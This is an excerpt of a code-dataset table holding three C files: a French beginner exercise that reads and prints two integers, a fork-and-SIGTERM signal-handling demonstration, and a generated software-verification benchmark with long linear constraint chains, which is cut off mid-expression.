file
stringlengths 18
26
| data
stringlengths 2
1.05M
|
---|---|
the_stack_data/907820.c
|
#include <stdio.h> /*Autorise l'emploi de printf et de scanf.*/
/*!
\author Lilian Naretto <[email protected]>
\date 10 octobre 2019
\file tp2q3.c
\brief question 3 du tp2
\version 0.1 premier jet*/
/*!
\fn int main(int argc, char** argv)
\param argc nombre d'arguments en entrée
\param argv valeur des arguments en entrée
\return 0 si tout c'est bien passé
\brief demande de saisir deux chiffres, renvoi ces chiffres*/
int main(int argc, char** argv){
int int_x;/*declarations de variables*/
int int_y;
printf("donne un premier chiffre : \n");
scanf("%d",&int_x);
printf("donne un second chiffre : \n");
scanf("%d",&int_y);
printf("les chiffres sont :%d ",int_x);
printf("%d\n",int_y);
return 0;
}
|
the_stack_data/97011933.c
|
// Based on
// https://opensource.com/article/19/4/interprocess-communication-linux-networking
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
void graceful(int signum) {
printf("\tChild confirming received signal: %i\n", signum);
puts("\tChild about to terminate gracefully...");
sleep(1);
puts("\tChild terminating now...");
_exit(0); /* fast-track notification of parent */
}
void set_handler() {
struct sigaction current;
sigemptyset(¤t.sa_mask); /* clear the signal set */
current.sa_flags = 0; /* enables setting sa_handler, not sa_action */
current.sa_handler = graceful; /* specify a handler */
sigaction(SIGTERM, ¤t, NULL); /* register the handler */
}
void child_code() {
set_handler();
while (1) { /** loop until interrupted **/
sleep(1);
puts("\tChild just woke up, but going back to sleep.");
}
}
void parent_code(pid_t cpid) {
puts("Parent sleeping for a time...");
sleep(5);
/* Try to terminate child. */
if (-1 == kill(cpid, SIGTERM)) {
perror("kill");
exit(-1);
}
wait(NULL); /** wait for child to terminate **/
puts("My child terminated, about to exit myself...");
}
int main() {
pid_t pid = fork();
if (pid < 0) {
perror("fork");
return -1; /* error */
}
if (0 == pid)
child_code();
else
parent_code(pid);
return 0; /* normal */
}
|
the_stack_data/68886738.c
|
extern float __VERIFIER_nondet_float(void);
extern int __VERIFIER_nondet_int(void);
typedef enum {false, true} bool;
bool __VERIFIER_nondet_bool(void) {
return __VERIFIER_nondet_int() != 0;
}
int main()
{
bool _EL_X_1796, _x__EL_X_1796;
bool _EL_X_1798, _x__EL_X_1798;
float x_15, _x_x_15;
float x_13, _x_x_13;
float x_1, _x_x_1;
float x_18, _x_x_18;
float x_20, _x_x_20;
float x_21, _x_x_21;
float x_0, _x_x_0;
float x_4, _x_x_4;
bool _EL_X_1793, _x__EL_X_1793;
float x_5, _x_x_5;
float x_8, _x_x_8;
float x_9, _x_x_9;
float x_10, _x_x_10;
float x_11, _x_x_11;
float x_12, _x_x_12;
float x_16, _x_x_16;
float x_19, _x_x_19;
float x_23, _x_x_23;
float x_14, _x_x_14;
float x_22, _x_x_22;
float x_17, _x_x_17;
float x_2, _x_x_2;
float x_3, _x_x_3;
float x_6, _x_x_6;
float x_7, _x_x_7;
int __steps_to_fair = __VERIFIER_nondet_int();
_EL_X_1796 = __VERIFIER_nondet_bool();
_EL_X_1798 = __VERIFIER_nondet_bool();
x_15 = __VERIFIER_nondet_float();
x_13 = __VERIFIER_nondet_float();
x_1 = __VERIFIER_nondet_float();
x_18 = __VERIFIER_nondet_float();
x_20 = __VERIFIER_nondet_float();
x_21 = __VERIFIER_nondet_float();
x_0 = __VERIFIER_nondet_float();
x_4 = __VERIFIER_nondet_float();
_EL_X_1793 = __VERIFIER_nondet_bool();
x_5 = __VERIFIER_nondet_float();
x_8 = __VERIFIER_nondet_float();
x_9 = __VERIFIER_nondet_float();
x_10 = __VERIFIER_nondet_float();
x_11 = __VERIFIER_nondet_float();
x_12 = __VERIFIER_nondet_float();
x_16 = __VERIFIER_nondet_float();
x_19 = __VERIFIER_nondet_float();
x_23 = __VERIFIER_nondet_float();
x_14 = __VERIFIER_nondet_float();
x_22 = __VERIFIER_nondet_float();
x_17 = __VERIFIER_nondet_float();
x_2 = __VERIFIER_nondet_float();
x_3 = __VERIFIER_nondet_float();
x_6 = __VERIFIER_nondet_float();
x_7 = __VERIFIER_nondet_float();
bool __ok = (1 && ( !(_EL_X_1798 && ( !_EL_X_1796))));
while (__steps_to_fair >= 0 && __ok) {
if (( !0)) {
__steps_to_fair = __VERIFIER_nondet_int();
} else {
__steps_to_fair--;
}
_x__EL_X_1796 = __VERIFIER_nondet_bool();
_x__EL_X_1798 = __VERIFIER_nondet_bool();
_x_x_15 = __VERIFIER_nondet_float();
_x_x_13 = __VERIFIER_nondet_float();
_x_x_1 = __VERIFIER_nondet_float();
_x_x_18 = __VERIFIER_nondet_float();
_x_x_20 = __VERIFIER_nondet_float();
_x_x_21 = __VERIFIER_nondet_float();
_x_x_0 = __VERIFIER_nondet_float();
_x_x_4 = __VERIFIER_nondet_float();
_x__EL_X_1793 = __VERIFIER_nondet_bool();
_x_x_5 = __VERIFIER_nondet_float();
_x_x_8 = __VERIFIER_nondet_float();
_x_x_9 = __VERIFIER_nondet_float();
_x_x_10 = __VERIFIER_nondet_float();
_x_x_11 = __VERIFIER_nondet_float();
_x_x_12 = __VERIFIER_nondet_float();
_x_x_16 = __VERIFIER_nondet_float();
_x_x_19 = __VERIFIER_nondet_float();
_x_x_23 = __VERIFIER_nondet_float();
_x_x_14 = __VERIFIER_nondet_float();
_x_x_22 = __VERIFIER_nondet_float();
_x_x_17 = __VERIFIER_nondet_float();
_x_x_2 = __VERIFIER_nondet_float();
_x_x_3 = __VERIFIER_nondet_float();
_x_x_6 = __VERIFIER_nondet_float();
_x_x_7 = __VERIFIER_nondet_float();
__ok = ((((((((((((((((((((((((((((x_23 + (-1.0 * _x_x_0)) <= -15.0) && (((x_21 + (-1.0 * _x_x_0)) <= -6.0) && (((x_20 + (-1.0 * _x_x_0)) <= -4.0) && (((x_19 + (-1.0 * _x_x_0)) <= -11.0) && (((x_17 + (-1.0 * _x_x_0)) <= -19.0) && (((x_13 + (-1.0 * _x_x_0)) <= -7.0) && (((x_12 + (-1.0 * _x_x_0)) <= -1.0) && (((x_9 + (-1.0 * _x_x_0)) <= -9.0) && (((x_8 + (-1.0 * _x_x_0)) <= -9.0) && (((x_7 + (-1.0 * _x_x_0)) <= -12.0) && (((x_3 + (-1.0 * _x_x_0)) <= -9.0) && ((x_4 + (-1.0 * _x_x_0)) <= -6.0)))))))))))) && (((x_23 + (-1.0 * _x_x_0)) == -15.0) || (((x_21 + (-1.0 * _x_x_0)) == -6.0) || (((x_20 + (-1.0 * _x_x_0)) == -4.0) || (((x_19 + (-1.0 * _x_x_0)) == -11.0) || (((x_17 + (-1.0 * _x_x_0)) == -19.0) || (((x_13 + (-1.0 * _x_x_0)) == -7.0) || (((x_12 + (-1.0 * _x_x_0)) == -1.0) || (((x_9 + (-1.0 * _x_x_0)) == -9.0) || (((x_8 + (-1.0 * _x_x_0)) == -9.0) || (((x_7 + (-1.0 * _x_x_0)) == -12.0) || (((x_3 + (-1.0 * _x_x_0)) == -9.0) || ((x_4 + (-1.0 * _x_x_0)) == -6.0))))))))))))) && ((((x_23 + (-1.0 * _x_x_1)) <= -16.0) && (((x_19 + (-1.0 * _x_x_1)) <= -12.0) && (((x_18 + (-1.0 * _x_x_1)) <= -19.0) && (((x_16 + (-1.0 * _x_x_1)) <= -7.0) && (((x_15 + (-1.0 * _x_x_1)) <= -9.0) && (((x_10 + (-1.0 * _x_x_1)) <= -7.0) && (((x_8 + (-1.0 * _x_x_1)) <= -6.0) && (((x_6 + (-1.0 * _x_x_1)) <= -4.0) && (((x_5 + (-1.0 * _x_x_1)) <= -20.0) && (((x_3 + (-1.0 * _x_x_1)) <= -3.0) && (((x_0 + (-1.0 * _x_x_1)) <= -8.0) && ((x_2 + (-1.0 * _x_x_1)) <= -18.0)))))))))))) && (((x_23 + (-1.0 * _x_x_1)) == -16.0) || (((x_19 + (-1.0 * _x_x_1)) == -12.0) || (((x_18 + (-1.0 * _x_x_1)) == -19.0) || (((x_16 + (-1.0 * _x_x_1)) == -7.0) || (((x_15 + (-1.0 * _x_x_1)) == -9.0) || (((x_10 + (-1.0 * _x_x_1)) == -7.0) || (((x_8 + (-1.0 * _x_x_1)) == -6.0) || (((x_6 + (-1.0 * _x_x_1)) == -4.0) || (((x_5 + (-1.0 * _x_x_1)) == -20.0) || (((x_3 + (-1.0 * _x_x_1)) == -3.0) || (((x_0 + (-1.0 * _x_x_1)) == -8.0) || ((x_2 + (-1.0 * _x_x_1)) == -18.0)))))))))))))) && ((((x_20 + (-1.0 * _x_x_2)) <= -17.0) && (((x_19 + (-1.0 * _x_x_2)) <= -18.0) && (((x_18 + (-1.0 * _x_x_2)) <= -16.0) && (((x_17 + (-1.0 * _x_x_2)) <= -20.0) && (((x_14 + (-1.0 * _x_x_2)) <= -18.0) && (((x_12 + (-1.0 * _x_x_2)) <= -2.0) && (((x_11 + (-1.0 * _x_x_2)) <= -6.0) && (((x_6 + (-1.0 * _x_x_2)) <= -1.0) && (((x_4 + (-1.0 * _x_x_2)) <= -19.0) && (((x_3 + (-1.0 * _x_x_2)) <= -4.0) && (((x_1 + (-1.0 * _x_x_2)) <= -9.0) && ((x_2 + (-1.0 * _x_x_2)) <= -16.0)))))))))))) && (((x_20 + (-1.0 * _x_x_2)) == -17.0) || (((x_19 + (-1.0 * _x_x_2)) == -18.0) || (((x_18 + (-1.0 * _x_x_2)) == -16.0) || (((x_17 + (-1.0 * _x_x_2)) == -20.0) || (((x_14 + (-1.0 * _x_x_2)) == -18.0) || (((x_12 + (-1.0 * _x_x_2)) == -2.0) || (((x_11 + (-1.0 * _x_x_2)) == -6.0) || (((x_6 + (-1.0 * _x_x_2)) == -1.0) || (((x_4 + (-1.0 * _x_x_2)) == -19.0) || (((x_3 + (-1.0 * _x_x_2)) == -4.0) || (((x_1 + (-1.0 * _x_x_2)) == -9.0) || ((x_2 + (-1.0 * _x_x_2)) == -16.0)))))))))))))) && ((((x_21 + (-1.0 * _x_x_3)) <= -18.0) && (((x_19 + (-1.0 * _x_x_3)) <= -4.0) && (((x_18 + (-1.0 * _x_x_3)) <= -10.0) && (((x_16 + (-1.0 * _x_x_3)) <= -6.0) && (((x_14 + (-1.0 * _x_x_3)) <= -20.0) && (((x_13 + (-1.0 * _x_x_3)) <= -12.0) && (((x_11 + (-1.0 * _x_x_3)) <= -17.0) && (((x_10 + (-1.0 * _x_x_3)) <= -10.0) && (((x_9 + (-1.0 * _x_x_3)) <= -9.0) && (((x_8 + (-1.0 * _x_x_3)) <= -17.0) && (((x_3 + (-1.0 * _x_x_3)) <= -7.0) && ((x_7 + (-1.0 * _x_x_3)) <= -5.0)))))))))))) && (((x_21 + (-1.0 * _x_x_3)) == -18.0) || (((x_19 + (-1.0 * _x_x_3)) == -4.0) || (((x_18 + (-1.0 * _x_x_3)) == -10.0) || (((x_16 + (-1.0 * _x_x_3)) == -6.0) || (((x_14 + (-1.0 * _x_x_3)) == -20.0) || (((x_13 + (-1.0 * _x_x_3)) == -12.0) || (((x_11 + (-1.0 * _x_x_3)) == -17.0) || (((x_10 + (-1.0 * _x_x_3)) == -10.0) || (((x_9 + (-1.0 * _x_x_3)) == -9.0) || (((x_8 + (-1.0 * _x_x_3)) == -17.0) || (((x_3 + (-1.0 * _x_x_3)) == -7.0) || ((x_7 + (-1.0 * _x_x_3)) == -5.0)))))))))))))) && ((((x_23 + (-1.0 * _x_x_4)) <= -16.0) && (((x_20 + (-1.0 * _x_x_4)) <= -15.0) && (((x_19 + (-1.0 * _x_x_4)) <= -12.0) && (((x_16 + (-1.0 * _x_x_4)) <= -13.0) && (((x_14 + (-1.0 * _x_x_4)) <= -9.0) && (((x_13 + (-1.0 * _x_x_4)) <= -1.0) && (((x_12 + (-1.0 * _x_x_4)) <= -12.0) && (((x_11 + (-1.0 * _x_x_4)) <= -16.0) && (((x_8 + (-1.0 * _x_x_4)) <= -16.0) && (((x_4 + (-1.0 * _x_x_4)) <= -10.0) && (((x_1 + (-1.0 * _x_x_4)) <= -5.0) && ((x_2 + (-1.0 * _x_x_4)) <= -15.0)))))))))))) && (((x_23 + (-1.0 * _x_x_4)) == -16.0) || (((x_20 + (-1.0 * _x_x_4)) == -15.0) || (((x_19 + (-1.0 * _x_x_4)) == -12.0) || (((x_16 + (-1.0 * _x_x_4)) == -13.0) || (((x_14 + (-1.0 * _x_x_4)) == -9.0) || (((x_13 + (-1.0 * _x_x_4)) == -1.0) || (((x_12 + (-1.0 * _x_x_4)) == -12.0) || (((x_11 + (-1.0 * _x_x_4)) == -16.0) || (((x_8 + (-1.0 * _x_x_4)) == -16.0) || (((x_4 + (-1.0 * _x_x_4)) == -10.0) || (((x_1 + (-1.0 * _x_x_4)) == -5.0) || ((x_2 + (-1.0 * _x_x_4)) == -15.0)))))))))))))) && ((((x_21 + (-1.0 * _x_x_5)) <= -8.0) && (((x_20 + (-1.0 * _x_x_5)) <= -15.0) && (((x_19 + (-1.0 * _x_x_5)) <= -3.0) && (((x_16 + (-1.0 * _x_x_5)) <= -13.0) && (((x_15 + (-1.0 * _x_x_5)) <= -7.0) && (((x_13 + (-1.0 * _x_x_5)) <= -8.0) && (((x_11 + (-1.0 * _x_x_5)) <= -20.0) && (((x_9 + (-1.0 * _x_x_5)) <= -13.0) && (((x_6 + (-1.0 * _x_x_5)) <= -16.0) && (((x_4 + (-1.0 * _x_x_5)) <= -12.0) && (((x_1 + (-1.0 * _x_x_5)) <= -7.0) && ((x_3 + (-1.0 * _x_x_5)) <= -19.0)))))))))))) && (((x_21 + (-1.0 * _x_x_5)) == -8.0) || (((x_20 + (-1.0 * _x_x_5)) == -15.0) || (((x_19 + (-1.0 * _x_x_5)) == -3.0) || (((x_16 + (-1.0 * _x_x_5)) == -13.0) || (((x_15 + (-1.0 * _x_x_5)) == -7.0) || (((x_13 + (-1.0 * _x_x_5)) == -8.0) || (((x_11 + (-1.0 * _x_x_5)) == -20.0) || (((x_9 + (-1.0 * _x_x_5)) == -13.0) || (((x_6 + (-1.0 * _x_x_5)) == -16.0) || (((x_4 + (-1.0 * _x_x_5)) == -12.0) || (((x_1 + (-1.0 * _x_x_5)) == -7.0) || ((x_3 + (-1.0 * _x_x_5)) == -19.0)))))))))))))) && ((((x_23 + (-1.0 * _x_x_6)) <= -6.0) && (((x_22 + (-1.0 * _x_x_6)) <= -3.0) && (((x_21 + (-1.0 * _x_x_6)) <= -14.0) && (((x_20 + (-1.0 * _x_x_6)) <= -2.0) && (((x_18 + (-1.0 * _x_x_6)) <= -14.0) && (((x_17 + (-1.0 * _x_x_6)) <= -19.0) && (((x_16 + (-1.0 * _x_x_6)) <= -4.0) && (((x_11 + (-1.0 * _x_x_6)) <= -7.0) && (((x_10 + (-1.0 * _x_x_6)) <= -4.0) && (((x_8 + (-1.0 * _x_x_6)) <= -14.0) && (((x_2 + (-1.0 * _x_x_6)) <= -3.0) && ((x_7 + (-1.0 * _x_x_6)) <= -5.0)))))))))))) && (((x_23 + (-1.0 * _x_x_6)) == -6.0) || (((x_22 + (-1.0 * _x_x_6)) == -3.0) || (((x_21 + (-1.0 * _x_x_6)) == -14.0) || (((x_20 + (-1.0 * _x_x_6)) == -2.0) || (((x_18 + (-1.0 * _x_x_6)) == -14.0) || (((x_17 + (-1.0 * _x_x_6)) == -19.0) || (((x_16 + (-1.0 * _x_x_6)) == -4.0) || (((x_11 + (-1.0 * _x_x_6)) == -7.0) || (((x_10 + (-1.0 * _x_x_6)) == -4.0) || (((x_8 + (-1.0 * _x_x_6)) == -14.0) || (((x_2 + (-1.0 * _x_x_6)) == -3.0) || ((x_7 + (-1.0 * _x_x_6)) == -5.0)))))))))))))) && ((((x_20 + (-1.0 * _x_x_7)) <= -18.0) && (((x_16 + (-1.0 * _x_x_7)) <= -1.0) && (((x_15 + (-1.0 * _x_x_7)) <= -4.0) && (((x_14 + (-1.0 * _x_x_7)) <= -2.0) && (((x_13 + (-1.0 * _x_x_7)) <= -12.0) && (((x_11 + (-1.0 * _x_x_7)) <= -17.0) && (((x_9 + (-1.0 * _x_x_7)) <= -9.0) && (((x_8 + (-1.0 * _x_x_7)) <= -12.0) && (((x_6 + (-1.0 * _x_x_7)) <= -16.0) && (((x_5 + (-1.0 * _x_x_7)) <= -1.0) && (((x_1 + (-1.0 * _x_x_7)) <= -8.0) && ((x_3 + (-1.0 * _x_x_7)) <= -1.0)))))))))))) && (((x_20 + (-1.0 * _x_x_7)) == -18.0) || (((x_16 + (-1.0 * _x_x_7)) == -1.0) || (((x_15 + (-1.0 * _x_x_7)) == -4.0) || (((x_14 + (-1.0 * _x_x_7)) == -2.0) || (((x_13 + (-1.0 * _x_x_7)) == -12.0) || (((x_11 + (-1.0 * _x_x_7)) == -17.0) || (((x_9 + (-1.0 * _x_x_7)) == -9.0) || (((x_8 + (-1.0 * _x_x_7)) == -12.0) || (((x_6 + (-1.0 * _x_x_7)) == -16.0) || (((x_5 + (-1.0 * _x_x_7)) == -1.0) || (((x_1 + (-1.0 * _x_x_7)) == -8.0) || ((x_3 + (-1.0 * _x_x_7)) == -1.0)))))))))))))) && ((((x_23 + (-1.0 * _x_x_8)) <= -11.0) && (((x_20 + (-1.0 * _x_x_8)) <= -3.0) && (((x_19 + (-1.0 * _x_x_8)) <= -17.0) && (((x_18 + (-1.0 * _x_x_8)) <= -9.0) && (((x_16 + (-1.0 * _x_x_8)) <= -6.0) && (((x_15 + (-1.0 * _x_x_8)) <= -8.0) && (((x_13 + (-1.0 * _x_x_8)) <= -20.0) && (((x_7 + (-1.0 * _x_x_8)) <= -4.0) && (((x_6 + (-1.0 * _x_x_8)) <= -11.0) && (((x_4 + (-1.0 * _x_x_8)) <= -2.0) && (((x_0 + (-1.0 * _x_x_8)) <= -10.0) && ((x_3 + (-1.0 * _x_x_8)) <= -11.0)))))))))))) && (((x_23 + (-1.0 * _x_x_8)) == -11.0) || (((x_20 + (-1.0 * _x_x_8)) == -3.0) || (((x_19 + (-1.0 * _x_x_8)) == -17.0) || (((x_18 + (-1.0 * _x_x_8)) == -9.0) || (((x_16 + (-1.0 * _x_x_8)) == -6.0) || (((x_15 + (-1.0 * _x_x_8)) == -8.0) || (((x_13 + (-1.0 * _x_x_8)) == -20.0) || (((x_7 + (-1.0 * _x_x_8)) == -4.0) || (((x_6 + (-1.0 * _x_x_8)) == -11.0) || (((x_4 + (-1.0 * _x_x_8)) == -2.0) || (((x_0 + (-1.0 * _x_x_8)) == -10.0) || ((x_3 + (-1.0 * _x_x_8)) == -11.0)))))))))))))) && ((((x_21 + (-1.0 * _x_x_9)) <= -16.0) && (((x_20 + (-1.0 * _x_x_9)) <= -20.0) && (((x_18 + (-1.0 * _x_x_9)) <= -9.0) && (((x_16 + (-1.0 * _x_x_9)) <= -11.0) && (((x_15 + (-1.0 * _x_x_9)) <= -9.0) && (((x_14 + (-1.0 * _x_x_9)) <= -6.0) && (((x_12 + (-1.0 * _x_x_9)) <= -10.0) && (((x_11 + (-1.0 * _x_x_9)) <= -17.0) && (((x_8 + (-1.0 * _x_x_9)) <= -6.0) && (((x_7 + (-1.0 * _x_x_9)) <= -20.0) && (((x_2 + (-1.0 * _x_x_9)) <= -11.0) && ((x_4 + (-1.0 * _x_x_9)) <= -10.0)))))))))))) && (((x_21 + (-1.0 * _x_x_9)) == -16.0) || (((x_20 + (-1.0 * _x_x_9)) == -20.0) || (((x_18 + (-1.0 * _x_x_9)) == -9.0) || (((x_16 + (-1.0 * _x_x_9)) == -11.0) || (((x_15 + (-1.0 * _x_x_9)) == -9.0) || (((x_14 + (-1.0 * _x_x_9)) == -6.0) || (((x_12 + (-1.0 * _x_x_9)) == -10.0) || (((x_11 + (-1.0 * _x_x_9)) == -17.0) || (((x_8 + (-1.0 * _x_x_9)) == -6.0) || (((x_7 + (-1.0 * _x_x_9)) == -20.0) || (((x_2 + (-1.0 * _x_x_9)) == -11.0) || ((x_4 + (-1.0 * _x_x_9)) == -10.0)))))))))))))) && ((((x_22 + (-1.0 * _x_x_10)) <= -17.0) && (((x_21 + (-1.0 * _x_x_10)) <= -5.0) && (((x_20 + (-1.0 * _x_x_10)) <= -14.0) && (((x_19 + (-1.0 * _x_x_10)) <= -17.0) && (((x_17 + (-1.0 * _x_x_10)) <= -7.0) && (((x_13 + (-1.0 * _x_x_10)) <= -18.0) && (((x_12 + (-1.0 * _x_x_10)) <= -13.0) && (((x_9 + (-1.0 * _x_x_10)) <= -12.0) && (((x_8 + (-1.0 * _x_x_10)) <= -8.0) && (((x_6 + (-1.0 * _x_x_10)) <= -5.0) && (((x_1 + (-1.0 * _x_x_10)) <= -7.0) && ((x_5 + (-1.0 * _x_x_10)) <= -18.0)))))))))))) && (((x_22 + (-1.0 * _x_x_10)) == -17.0) || (((x_21 + (-1.0 * _x_x_10)) == -5.0) || (((x_20 + (-1.0 * _x_x_10)) == -14.0) || (((x_19 + (-1.0 * _x_x_10)) == -17.0) || (((x_17 + (-1.0 * _x_x_10)) == -7.0) || (((x_13 + (-1.0 * _x_x_10)) == -18.0) || (((x_12 + (-1.0 * _x_x_10)) == -13.0) || (((x_9 + (-1.0 * _x_x_10)) == -12.0) || (((x_8 + (-1.0 * _x_x_10)) == -8.0) || (((x_6 + (-1.0 * _x_x_10)) == -5.0) || (((x_1 + (-1.0 * _x_x_10)) == -7.0) || ((x_5 + (-1.0 * _x_x_10)) == -18.0)))))))))))))) && ((((x_19 + (-1.0 * _x_x_11)) <= -10.0) && (((x_18 + (-1.0 * _x_x_11)) <= -11.0) && (((x_17 + (-1.0 * _x_x_11)) <= -4.0) && (((x_16 + (-1.0 * _x_x_11)) <= -7.0) && (((x_13 + (-1.0 * _x_x_11)) <= -8.0) && (((x_10 + (-1.0 * _x_x_11)) <= -18.0) && (((x_7 + (-1.0 * _x_x_11)) <= -16.0) && (((x_6 + (-1.0 * _x_x_11)) <= -6.0) && (((x_4 + (-1.0 * _x_x_11)) <= -9.0) && (((x_3 + (-1.0 * _x_x_11)) <= -9.0) && (((x_0 + (-1.0 * _x_x_11)) <= -20.0) && ((x_2 + (-1.0 * _x_x_11)) <= -10.0)))))))))))) && (((x_19 + (-1.0 * _x_x_11)) == -10.0) || (((x_18 + (-1.0 * _x_x_11)) == -11.0) || (((x_17 + (-1.0 * _x_x_11)) == -4.0) || (((x_16 + (-1.0 * _x_x_11)) == -7.0) || (((x_13 + (-1.0 * _x_x_11)) == -8.0) || (((x_10 + (-1.0 * _x_x_11)) == -18.0) || (((x_7 + (-1.0 * _x_x_11)) == -16.0) || (((x_6 + (-1.0 * _x_x_11)) == -6.0) || (((x_4 + (-1.0 * _x_x_11)) == -9.0) || (((x_3 + (-1.0 * _x_x_11)) == -9.0) || (((x_0 + (-1.0 * _x_x_11)) == -20.0) || ((x_2 + (-1.0 * _x_x_11)) == -10.0)))))))))))))) && ((((x_22 + (-1.0 * _x_x_12)) <= -11.0) && (((x_20 + (-1.0 * _x_x_12)) <= -9.0) && (((x_19 + (-1.0 * _x_x_12)) <= -2.0) && (((x_16 + (-1.0 * _x_x_12)) <= -17.0) && (((x_12 + (-1.0 * _x_x_12)) <= -11.0) && (((x_10 + (-1.0 * _x_x_12)) <= -19.0) && (((x_9 + (-1.0 * _x_x_12)) <= -5.0) && (((x_7 + (-1.0 * _x_x_12)) <= -1.0) && (((x_5 + (-1.0 * _x_x_12)) <= -20.0) && (((x_3 + (-1.0 * _x_x_12)) <= -5.0) && (((x_0 + (-1.0 * _x_x_12)) <= -5.0) && ((x_1 + (-1.0 * _x_x_12)) <= -12.0)))))))))))) && (((x_22 + (-1.0 * _x_x_12)) == -11.0) || (((x_20 + (-1.0 * _x_x_12)) == -9.0) || (((x_19 + (-1.0 * _x_x_12)) == -2.0) || (((x_16 + (-1.0 * _x_x_12)) == -17.0) || (((x_12 + (-1.0 * _x_x_12)) == -11.0) || (((x_10 + (-1.0 * _x_x_12)) == -19.0) || (((x_9 + (-1.0 * _x_x_12)) == -5.0) || (((x_7 + (-1.0 * _x_x_12)) == -1.0) || (((x_5 + (-1.0 * _x_x_12)) == -20.0) || (((x_3 + (-1.0 * _x_x_12)) == -5.0) || (((x_0 + (-1.0 * _x_x_12)) == -5.0) || ((x_1 + (-1.0 * _x_x_12)) == -12.0)))))))))))))) && ((((x_20 + (-1.0 * _x_x_13)) <= -2.0) && (((x_16 + (-1.0 * _x_x_13)) <= -10.0) && (((x_15 + (-1.0 * _x_x_13)) <= -9.0) && (((x_14 + (-1.0 * _x_x_13)) <= -4.0) && (((x_13 + (-1.0 * _x_x_13)) <= -16.0) && (((x_12 + (-1.0 * _x_x_13)) <= -20.0) && (((x_11 + (-1.0 * _x_x_13)) <= -8.0) && (((x_7 + (-1.0 * _x_x_13)) <= -9.0) && (((x_6 + (-1.0 * _x_x_13)) <= -2.0) && (((x_3 + (-1.0 * _x_x_13)) <= -20.0) && (((x_0 + (-1.0 * _x_x_13)) <= -19.0) && ((x_1 + (-1.0 * _x_x_13)) <= -6.0)))))))))))) && (((x_20 + (-1.0 * _x_x_13)) == -2.0) || (((x_16 + (-1.0 * _x_x_13)) == -10.0) || (((x_15 + (-1.0 * _x_x_13)) == -9.0) || (((x_14 + (-1.0 * _x_x_13)) == -4.0) || (((x_13 + (-1.0 * _x_x_13)) == -16.0) || (((x_12 + (-1.0 * _x_x_13)) == -20.0) || (((x_11 + (-1.0 * _x_x_13)) == -8.0) || (((x_7 + (-1.0 * _x_x_13)) == -9.0) || (((x_6 + (-1.0 * _x_x_13)) == -2.0) || (((x_3 + (-1.0 * _x_x_13)) == -20.0) || (((x_0 + (-1.0 * _x_x_13)) == -19.0) || ((x_1 + (-1.0 * _x_x_13)) == -6.0)))))))))))))) && ((((x_23 + (-1.0 * _x_x_14)) <= -20.0) && (((x_22 + (-1.0 * _x_x_14)) <= -2.0) && (((x_20 + (-1.0 * _x_x_14)) <= -16.0) && (((x_19 + (-1.0 * _x_x_14)) <= -15.0) && (((x_18 + (-1.0 * _x_x_14)) <= -14.0) && (((x_17 + (-1.0 * _x_x_14)) <= -18.0) && (((x_15 + (-1.0 * _x_x_14)) <= -7.0) && (((x_11 + (-1.0 * _x_x_14)) <= -8.0) && (((x_8 + (-1.0 * _x_x_14)) <= -10.0) && (((x_7 + (-1.0 * _x_x_14)) <= -3.0) && (((x_3 + (-1.0 * _x_x_14)) <= -16.0) && ((x_6 + (-1.0 * _x_x_14)) <= -15.0)))))))))))) && (((x_23 + (-1.0 * _x_x_14)) == -20.0) || (((x_22 + (-1.0 * _x_x_14)) == -2.0) || (((x_20 + (-1.0 * _x_x_14)) == -16.0) || (((x_19 + (-1.0 * _x_x_14)) == -15.0) || (((x_18 + (-1.0 * _x_x_14)) == -14.0) || (((x_17 + (-1.0 * _x_x_14)) == -18.0) || (((x_15 + (-1.0 * _x_x_14)) == -7.0) || (((x_11 + (-1.0 * _x_x_14)) == -8.0) || (((x_8 + (-1.0 * _x_x_14)) == -10.0) || (((x_7 + (-1.0 * _x_x_14)) == -3.0) || (((x_3 + (-1.0 * _x_x_14)) == -16.0) || ((x_6 + (-1.0 * _x_x_14)) == -15.0)))))))))))))) && ((((x_23 + (-1.0 * _x_x_15)) <= -14.0) && (((x_21 + (-1.0 * _x_x_15)) <= -12.0) && (((x_15 + (-1.0 * _x_x_15)) <= -12.0) && (((x_14 + (-1.0 * _x_x_15)) <= -2.0) && (((x_13 + (-1.0 * _x_x_15)) <= -15.0) && (((x_12 + (-1.0 * _x_x_15)) <= -4.0) && (((x_11 + (-1.0 * _x_x_15)) <= -8.0) && (((x_6 + (-1.0 * _x_x_15)) <= -3.0) && (((x_5 + (-1.0 * _x_x_15)) <= -2.0) && (((x_4 + (-1.0 * _x_x_15)) <= -7.0) && (((x_0 + (-1.0 * _x_x_15)) <= -7.0) && ((x_3 + (-1.0 * _x_x_15)) <= -18.0)))))))))))) && (((x_23 + (-1.0 * _x_x_15)) == -14.0) || (((x_21 + (-1.0 * _x_x_15)) == -12.0) || (((x_15 + (-1.0 * _x_x_15)) == -12.0) || (((x_14 + (-1.0 * _x_x_15)) == -2.0) || (((x_13 + (-1.0 * _x_x_15)) == -15.0) || (((x_12 + (-1.0 * _x_x_15)) == -4.0) || (((x_11 + (-1.0 * _x_x_15)) == -8.0) || (((x_6 + (-1.0 * _x_x_15)) == -3.0) || (((x_5 + (-1.0 * _x_x_15)) == -2.0) || (((x_4 + (-1.0 * _x_x_15)) == -7.0) || (((x_0 + (-1.0 * _x_x_15)) == -7.0) || ((x_3 + (-1.0 * _x_x_15)) == -18.0)))))))))))))) && ((((x_19 + (-1.0 * _x_x_16)) <= -4.0) && (((x_16 + (-1.0 * _x_x_16)) <= -19.0) && (((x_15 + (-1.0 * _x_x_16)) <= -3.0) && (((x_14 + (-1.0 * _x_x_16)) <= -4.0) && (((x_13 + (-1.0 * _x_x_16)) <= -13.0) && (((x_12 + (-1.0 * _x_x_16)) <= -2.0) && (((x_11 + (-1.0 * _x_x_16)) <= -3.0) && (((x_9 + (-1.0 * _x_x_16)) <= -20.0) && (((x_8 + (-1.0 * _x_x_16)) <= -4.0) && (((x_7 + (-1.0 * _x_x_16)) <= -15.0) && (((x_0 + (-1.0 * _x_x_16)) <= -2.0) && ((x_4 + (-1.0 * _x_x_16)) <= -9.0)))))))))))) && (((x_19 + (-1.0 * _x_x_16)) == -4.0) || (((x_16 + (-1.0 * _x_x_16)) == -19.0) || (((x_15 + (-1.0 * _x_x_16)) == -3.0) || (((x_14 + (-1.0 * _x_x_16)) == -4.0) || (((x_13 + (-1.0 * _x_x_16)) == -13.0) || (((x_12 + (-1.0 * _x_x_16)) == -2.0) || (((x_11 + (-1.0 * _x_x_16)) == -3.0) || (((x_9 + (-1.0 * _x_x_16)) == -20.0) || (((x_8 + (-1.0 * _x_x_16)) 